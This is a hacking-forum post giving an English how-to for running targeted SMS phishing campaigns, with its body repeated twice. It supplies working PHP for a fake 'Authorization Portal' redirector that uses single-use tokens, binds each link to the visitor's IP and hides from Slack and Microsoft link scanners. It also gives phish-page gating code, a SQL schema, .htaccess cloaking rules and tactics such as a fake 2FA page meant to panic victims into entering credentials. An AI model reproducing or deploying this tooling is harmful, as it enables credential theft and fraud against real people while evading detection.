D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
I thought I'd write a basic article about how I send my links out during phishing campaigns. nothing fancy or advanced. there are plenty of larger platforms like gophish that do this a lot better with tracking and statistics, but I didn't see anyone talking about it so i figured id create a simplified version to explain the idea to newbies and anyone who cares.
when targeting specific individuals, it's important to maintain control of who sees the phish, how long it's alive, and what they see when they click it. sending your phish link as is can quickly lead to a red page and wrapping it in public link shorteners can also lead to trust problems.
the goal is for the SMS to:
- show a good reason as to why the text is being delivered to them
- that the problem described affects them
- convince them to click the link
- that they should hurry (click now, not later)
creating your own link shortener is one approach. while you can pull one of the dozens of link shortener repos off github, I prefer masquerading as another service as a means to redirect targets.
for example, if we registered the domain auth.tld and used it to redirect to the final phish, it could build trust from the target that their session cookies were present or somehow accessible to this auth service after clicking, something you'd only see on the real page or websites trusted by them, giving the sense that the page they're seeing is only accessible to them. imagine the link in password reset email. the way it appears and loads gives us the impression that only we had this link and that it was only connected with our account.
below is a quick example I wrote to explain this idea. obviously, each specific application you mimic would require you to update the design.
redirect.php
PHP: Скопировать в буфер обмена
generating a new URL is as simple as
PHP: Скопировать в буфер обмена
moving onto the actual phish, we would add this PHP. note that the crontab piece at the top is how redirect tokens over 24 hours old would be aged out from production
PHP: Скопировать в буфер обмена
we achieve a few things with this.
- if they didn't visit via fake authorization portal, they wont view the phish (phish only activated after redirect)
- they can view it only once
- tokens only survive a few targets before requiring change
to explain some of the SQL columns
SQL: Скопировать в буфер обмена
.htaccess on redirect, add to phish as well for /id/{token}
Код: Скопировать в буфер обмена
from here, i prefer to suggest to the targets to go to the login page instead of having the login prompt be the first page they see on the landing page. for example, in the past i have created pages that display a 2fa setup qr code and a few textboxes asking them to verify with the 2fa code they generate from the qr. this is enough to confuse targets or make them believe someone was on their account and will lead them in a hurry to click on the login button in the menu and attempt to sign in to investigate the matter. you can and should build on this, add specific usernames on the landing page to build trust.
if this is a useless topic that no one needs, admin can delete
when targeting specific individuals, it's important to maintain control of who sees the phish, how long it's alive, and what they see when they click it. sending your phish link as is can quickly lead to a red page and wrapping it in public link shorteners can also lead to trust problems.
the goal is for the SMS to:
- show a good reason as to why the text is being delivered to them
- that the problem described affects them
- convince them to click the link
- that they should hurry (click now, not later)
creating your own link shortener is one approach. while you can pull one of the dozens of link shortener repos off github, I prefer masquerading as another service as a means to redirect targets.
for example, if we registered the domain auth.tld and used it to redirect to the final phish, it could build trust from the target that their session cookies were present or somehow accessible to this auth service after clicking, something you'd only see on the real page or websites trusted by them, giving the sense that the page they're seeing is only accessible to them. imagine the link in password reset email. the way it appears and loads gives us the impression that only we had this link and that it was only connected with our account.
below is a quick example I wrote to explain this idea. obviously, each specific application you mimic would require you to update the design.
redirect.php
PHP: Скопировать в буфер обмена
Код:
<?php
// variables for db, etc
require_once('settings.php');
if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
// prevent the link from changing db if sent over slack or teams
if(isset($_SERVER['HTTP_USER_AGENT']) && (strpos($_SERVER['HTTP_USER_AGENT'], 'Slack') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'Microsoft') !== false)) {
exit();
}
if(!isset($_GET['id']) || !preg_match('/^[a-zA-Z0-9]+$/', $_GET['id']) || isset($_SESSION['x'])) {
header('Location: https://www.real_domain.com/404/');
exit();
}
$id = strtolower($_GET['id']);
$conn = mysqli_connect($host_name, $sql_name, $db_pass, $db_name);
if($conn === false) {
header('Location: https://www.real_domain.com/404/');
exit();
}
$temp = mysqli_query($conn, 'SELECT * FROM redirect WHERE token = "'.$id.'" AND date > NOW() - INTERVAL 24 HOUR AND count <= 10');
if(!mysqli_num_rows($temp)) {
header('Location: https://www.real_domain.com/404/');
exit();
}
$temp = mysqli_fetch_assoc($temp);
if(boolval($temp['aged'])) {
header('Location: https://www.real_domain.com/404/');
exit();
}
if(boolval($temp['active']) && $temp['ip'] !== $ip) {
$count = intval($temp['count']);
$count++;
$update = mysqli_query($conn, 'UPDATE redirect SET ip = "'.$ip.'", count = '.$count.', tmp = 1'.(($count > 10) ? ', active = 0' : NULL).' WHERE token = "'.$id.'"');
if(mysqli_affected_rows($conn) && isset($temp['url'])) {
$_SESSION['x'] = $ip;
echo
"<html>
<head>
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
<style>
.redirect-message {
font-size:17px;
color: black;
}
.dots::after {
content: '';
display: inline-block;
animation: dots-animation 1.5s steps(5, end) infinite;
}
@keyframes dots-animation {
0% {
content: '';
}
20% {
content: '.';
}
40% {
content: '..';
}
60% {
content: '...';
}
80% {
content: '....';
}
100% {
content: '.....';
}
}
@media (max-width: 350px) {
.redirect-message {
font-size: 25px;
}
}
</style>
</head>
<body>
<div class='redirect-message'>
Verifying<span class='dots'></span>
</div>
<script>
setTimeout(function() {
location.href = 'https://".$temp['url']."/id/".$id."';
}, 3500);
</script>";
exit();
}
}
$_SESSION['x'] = $ip;
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
<title>Authorization Portal</title>
<style>
::-webkit-scrollbar {
width: 5px;
}
::-webkit-scrollbar-track {
background: transparent;
}
::-webkit-scrollbar-thumb {
background: #888;
}
::-webkit-scrollbar-thumb:hover {
background: #555;
}
:root {
--main-color: #2f2f2f;
--box-color: #1e1e1e;
--text-color: #bebebe;
}
* {
padding: 0px;
margin: 0px;
box-sizing: border-box;
font-family: 'Roboto', sans-serif;
}
body {
background-color: #2f2f2f;
position: relative;
overflow: hidden;
}
.expire-main-box {
width: 100%;
height: 100vh;
background: var(--main-color);
display: flex;
justify-content: center;
align-items: flex-start;
}
.expire-msg h1 {
font-size: 25px;
}
.content-box {
background: var(--box-color);
width: 28rem;
border-radius: 5px;
box-shadow: 0px 0px 5px rgba(0, 0, 0, 0.5);
padding: 30px;
color: var(--text-color);
position: relative;
margin-top: 40px;
}
.expire-msg,
.short-msg {
width: 100%;
}
.expire-msg {
text-align: center;
margin-bottom: 15px;
}
.short-msg {
font-weight: 500;
margin-left: 8px;
}
@media (max-width: 480px) {
.content-box {
width: 22.5rem;
}
}
@media (max-width: 320px) {
.content-box {
width: 14.5rem;
}
.expire-msg h1 {
font-size: 18px;
}
.short-msg {
font-size: 13px;
}
}
</style>
</head>
<body>
<noscript>To best view this website, javascript must be enabled!</noscript>
<div class="expire-main-box">
<div class="content-box">
<div class="expire-msg">
<h1>Link Expired!</h1>
</div>
<div class="short-msg">
The token for this request has expired. Please submit the request form again to be issued a new reset token.
</div>
</div>
</div>
</body>
</html>
generating a new URL is as simple as
PHP: Скопировать в буфер обмена
mysqli_query($conn, 'INSERT INTO redirect (token, url) VALUES ("'.substr(sha1(rand(111, 999)), 0, 19).'", "https://your_phish.tld")');
moving onto the actual phish, we would add this PHP. note that the crontab piece at the top is how redirect tokens over 24 hours old would be aged out from production
PHP: Скопировать в буфер обмена
Код:
<?PHP
// variables for db, etc
require_once('settings.php');
if(isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
if(isset($_GET['crontab'])) {
$update = mysqli_query($conn, 'UPDATE redirect SET active = 0, aged = 1 WHERE date < NOW() - INTERVAL 24 HOUR OR count > 10');
exit();
}
if(!isset($_GET['id']) || !preg_match('/^[a-zA-Z0-9]+$/', $_GET['id'])) {
header('Location: https://www.real_domain.com');
exit();
}
$id = strtolower($_GET['id']);
$conn = mysqli_connect($host_name, $sql_name, $db_pass, $db_name);
if($conn === false) {
exit();
}
$temp = mysqli_query($conn, 'SELECT * FROM redirect WHERE token = "'.$id.'" AND date > NOW() - INTERVAL 24 HOUR AND count <= 10');
if(!mysqli_num_rows($temp)) {
header('Location: https://www.real_domain.com');
exit();
}
$temp = mysqli_fetch_assoc($temp);
if(!boolval($temp['active']) || boolval($temp['aged']) || $temp['ip'] !== $ip || !boolval($temp['tmp'])) {
header('Location: https://www.real_domain.com');
exit();
}
$count = intval($temp['count']);
$count++;
$update = mysqli_query($conn, 'UPDATE redirect SET count = '.$count.', tmp = 0'.(($count > 10) ? ', active = 0' : NULL).' WHERE token = "'.$id.'"');
if(!mysqli_affected_rows($conn)) {
header('Location: https://www.real_domain.com');
exit();
}
... phish
?>
we achieve a few things with this.
- if they didn't visit via fake authorization portal, they wont view the phish (phish only activated after redirect)
- they can view it only once
- tokens only survive a few targets before requiring change
to explain some of the SQL columns
SQL: Скопировать в буфер обмена
Код:
CREATE TABLE `redirect` (
`id` int NOT NULL,
`date` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
`ip` varchar(45) DEFAULT NULL,
`count` int NOT NULL DEFAULT '0', /* # of redirect clicked + # of phish viewed */
`token` varchar(19) DEFAULT NULL, /* unique URL token */
`tmp` tinyint(1) NOT NULL DEFAULT '0', /* is phish active or not */
`active` tinyint(1) NOT NULL DEFAULT '1', /* token live or expired */
`aged` tinyint(1) NOT NULL DEFAULT '0', /* token aged out */
`url` varchar(20) DEFAULT NULL /* phish link */
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
.htaccess on redirect, add to phish as well for /id/{token}
Код: Скопировать в буфер обмена
Код:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^token/(.*)$ /redirect.php?id=$1 [L]
</IfModule>
ErrorDocument 404 https://www.real_domain.com/404/
ErrorDocument 403 https://www.real_domain.com/404/
ErrorDocument 500 https://www.real_domain.com/404/
from here, i prefer to suggest to the targets to go to the login page instead of having the login prompt be the first page they see on the landing page. for example, in the past i have created pages that display a 2fa setup qr code and a few textboxes asking them to verify with the 2fa code they generate from the qr. this is enough to confuse targets or make them believe someone was on their account and will lead them in a hurry to click on the login button in the menu and attempt to sign in to investigate the matter. you can and should build on this, add specific usernames on the landing page to build trust.
if this is a useless topic that no one needs, admin can delete